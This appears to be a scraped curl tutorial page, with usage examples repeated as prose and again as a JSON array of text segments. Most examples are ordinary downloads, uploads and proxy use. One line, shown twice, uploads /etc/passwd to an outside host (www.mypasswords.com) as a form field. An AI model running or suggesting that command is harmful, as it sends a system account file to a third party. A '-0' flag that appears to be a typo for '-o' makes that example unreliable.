curl -T "{file1,file2}" http://www.uploadtothissite.com
or even
curl -T "img[1-1000].png" ftp://ftp.picturemania.com/upload/
To send your password file to the server, where 'password' is the name of the form-field to which /etc/passwd will be the input:
$ curl -F password=@/etc/passwd www.mypasswords.com
To retrieve a web page and display in the terminal
$ curl http://www.tutorialspoint.com
To retrieve a web page and display header information
$ curl http://www.tutorialspoint.com -i
To retrieve a web page and save to a file.
$ curl http://www.tutorialspoint.com -0 tutorialspoint.html
To retrieve a web page, or its redirected target
$ curl www.tutorialspoint.com/unix/
$ curl www.tutorialspoint.com/unix/ --location
To limit the rate of data transfer to 1 Kilobytes/sec
$ curl http://www.tutorialspoint.com/unix/ --limit-rate 1k -o unix.html
To download via a proxy server
$ curl -x proxy.example.com:3128 http://www.tutorialspoint.com/unix/
|
[
{
"code": null,
"e": 10897,
"s": 10711,
"text": "curl - Transfers data from or to a server, using one of the protocols: HTTP, HTTPS, FTP, FTPS, SCP, SFTP, TFTP, DICT, TELNET, LDAP or FILE. (To transfer multiple files use wget or FTP.)"
},
{
"code": null,
"e": 10921,
"s": 10897,
"text": "curl [options] [URL...]"
},
{
"code": null,
"e": 11106,
"s": 10921,
"text": "Curl transfers data from or to a server, using one of the protocols: HTTP, HTTPS, FTP, FTPS, SCP, SFTP, TFTP, DICT, TELNET, LDAP or FILE. (To transfer multiple files use wget or FTP.)."
},
{
"code": null,
"e": 11339,
"s": 11106,
"text": "http://site.{one,two,three}.com \nor get sequences of alphanumeric series by using [] as in:\nftp://ftp.numericals.com/file[1-100].txt\nftp://ftp.numericals.com/file[001-100].txt (with leading zeros)\nftp://ftp.letters.com/file[a-z].txt"
},
{
"code": null,
"e": 11387,
"s": 11339,
"text": "curl http://{one,two}.site.com -o \"file_#1.txt\""
},
{
"code": null,
"e": 11418,
"s": 11387,
"text": "or use several variables like:"
},
{
"code": null,
"e": 11467,
"s": 11418,
"text": "curl http://{site,host}.host[1-5].com -o \"#1_#2\""
},
{
"code": null,
"e": 11655,
"s": 11467,
"text": "You may use this option as many times as the number of URLs you have. See also --create-dirs option to create the local directories dynamically. Specify '-' to force the output to stdout."
},
{
"code": null,
"e": 11711,
"s": 11655,
"text": "curl -T \"{file1,file2}\" http://www.uploadtothissite.com"
},
{
"code": null,
"e": 11719,
"s": 11711,
"text": "or even"
},
{
"code": null,
"e": 11780,
"s": 11719,
"text": "curl -T \"img[1-1000].png\" ftp://ftp.picturemania.com/upload/"
},
{
"code": null,
"e": 11909,
"s": 11780,
"text": "To send your password file to the server, where 'password' is the name of the form-field to which /etc/passwd will be the input:"
},
{
"code": null,
"e": 11962,
"s": 11909,
"text": "$ curl -F password=@/etc/passwd www.mypasswords.com\n"
},
{
"code": null,
"e": 12013,
"s": 11962,
"text": "To retrieve a web page and display in the terminal"
},
{
"code": null,
"e": 12050,
"s": 12013,
"text": "$ curl http://www.tutorialspoint.com"
},
{
"code": null,
"e": 12104,
"s": 12050,
"text": "To retrieve a web page and display header information"
},
{
"code": null,
"e": 12144,
"s": 12104,
"text": "$ curl http://www.tutorialspoint.com -i"
},
{
"code": null,
"e": 12187,
"s": 12144,
"text": "To retrieve a web page and save to a file."
},
{
"code": null,
"e": 12247,
"s": 12187,
"text": "$ curl http://www.tutorialspoint.com -0 tutorialspoint.html"
},
{
"code": null,
"e": 12296,
"s": 12247,
"text": "To retrieve a web page, or its redirected target"
},
{
"code": null,
"e": 12380,
"s": 12296,
"text": "$ curl www.tutorialspoint.com/unix/ \n$ curl www.tutorialspoint.com/unix/ --location"
},
{
"code": null,
"e": 12434,
"s": 12380,
"text": "To limit the rate of data transfer to 1 Kilobytes/sec"
},
{
"code": null,
"e": 12506,
"s": 12434,
"text": "$ curl http://www.tutorialspoint.com/unix/ --limit-rate 1k -o unix.html"
},
{
"code": null,
"e": 12537,
"s": 12506,
"text": "To download via a proxy server"
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.